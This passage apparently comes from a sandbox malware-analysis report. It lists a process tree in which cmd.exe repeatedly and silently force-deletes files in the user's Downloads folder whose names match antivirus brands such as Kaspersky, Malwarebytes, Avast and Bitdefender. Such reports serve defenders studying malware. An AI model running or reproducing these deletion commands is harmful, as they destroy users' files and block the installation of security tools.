  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:380
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:2456
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:4704
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:948
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:4152
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:4780
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:4784
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:2304
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:4636
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:2360
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:484
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:4424
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:4176
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:2044
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:180
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:3512
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:3204
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:4800
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:3152
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:1120
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:3892
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:2412
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:384
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:3268
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:552
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:3936
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:1392
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:1876
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:1792
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:4312
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:5068
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:1416
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:4144
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:4268
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:2732
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:3848
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:1060
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:4380
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:1636
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:1620
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:880
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:2012
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:3852
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:2092
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:844
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:1300
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:1292
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:756
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:1988
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:2964
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:1408
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:3860
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:4612
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:4952
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:4968
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:4660
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:4516
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:5096
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:3276
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:4676
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:3844
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:4436
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:3932
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:4548
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:3416
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:1144
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:764
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:5032
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:2932
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:5056
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:644
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:4468
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:5076
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:5064
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:1048
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:2108
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:2608
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:5016
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:772
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:2380
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:3188
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:3472
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:4732
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:4664
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:3128
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:4696
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:3732
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:1912
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:4776
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:1488
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:2912
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:1128
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:5060
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:1752
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:3944
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:3636
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:2192
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:3684
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:2232
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:1536
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:440
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:1932
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:4712
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:1224
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:1328
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:4892
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:2112
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:3256
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:3140
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:1140
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:2776
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:3896
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:228
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:1400
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:1860
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:4880
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:4260
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:1016
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:2152
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:2056
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:2272
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:4672
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:3064
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:2768
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:2320
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:1560
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:744
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:3284
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:4284
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:3956
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:1084
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:4504
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:1784
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:3856
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:3316
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:404
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:3624
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:3728
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:396
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:1616
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:4100
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:3824
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:1780
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:2492
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:5012
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:3736
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:4024
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:3568
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:2372
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:4592
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:3360
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:1344
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:3580
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:2956
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:3916
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:1744
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:1112
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:2128
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:5040
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:4136
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:4720
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:1472
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:1464
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:1688
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:3832
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:4976
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:2664
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:4180
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:788
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:4596
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:1116
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:4912
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:3948
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:2520
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:2396
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:2288
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:3772
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:1632
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:1572
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:3648
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:1812
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:1808
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:4772
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:1928
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:1236
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:4452
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:4972
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:372
- C:\Windows\SYSTEM32\cmd.exe
